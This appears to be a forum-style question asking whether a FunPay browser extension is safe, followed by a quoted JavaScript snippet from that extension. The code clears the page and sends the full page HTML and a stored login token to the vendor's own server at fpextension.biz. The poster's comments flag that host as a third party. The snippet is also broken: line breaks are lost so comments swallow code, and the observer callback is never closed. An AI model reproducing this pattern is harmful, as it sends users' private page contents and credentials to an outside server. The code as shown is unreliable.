Is Funpay extension safe?

const REMOTE_SERVER = "https://fpextension.biz"; // the extension vendor's own backend, not funpay.com

// Watch the page until the extension settings container appearsconst watchForSettingsPage = new MutationObserver(async () => {    if (!$(".cd.cd-empty.mb50")[0]) { return } // settings container not rendered yet, keep waiting    watchForSettingsPage.disconnect(); // only run this once per page load    const funpayDisplayName = $(".user-link-name").eq(0).text();    // Clear the page and show a loading placeholder    $(".theme-css").remove();    $(".wrapper-content").empty();    $(".wrapper-footer").remove();    $(".wrapper-content").append(        `<div>            <span class="loadSub">Loading</span>            <span class="descriptionSub">Refreshing your account information</span>        </div>`    );    // Upload the ENTIRE current page HTML plus the locally stored extension    // token to the vendor's own server, and wait for it to render the reply    const response = await fetch(`${REMOTE_SERVER}/runner`, {        method: "post",        headers: { "Content-Type": "application/x-www-form-urlencoded" },        body: new URLSearchParams({            body: $("body").html(),               // full page HTML            token: localStorage.getItem("token")   // extension's own login token        })    });

// Start watching document.body for the settings container to appearwatchForSettingsPage.observe(document, {    childList: true,    subtree: true});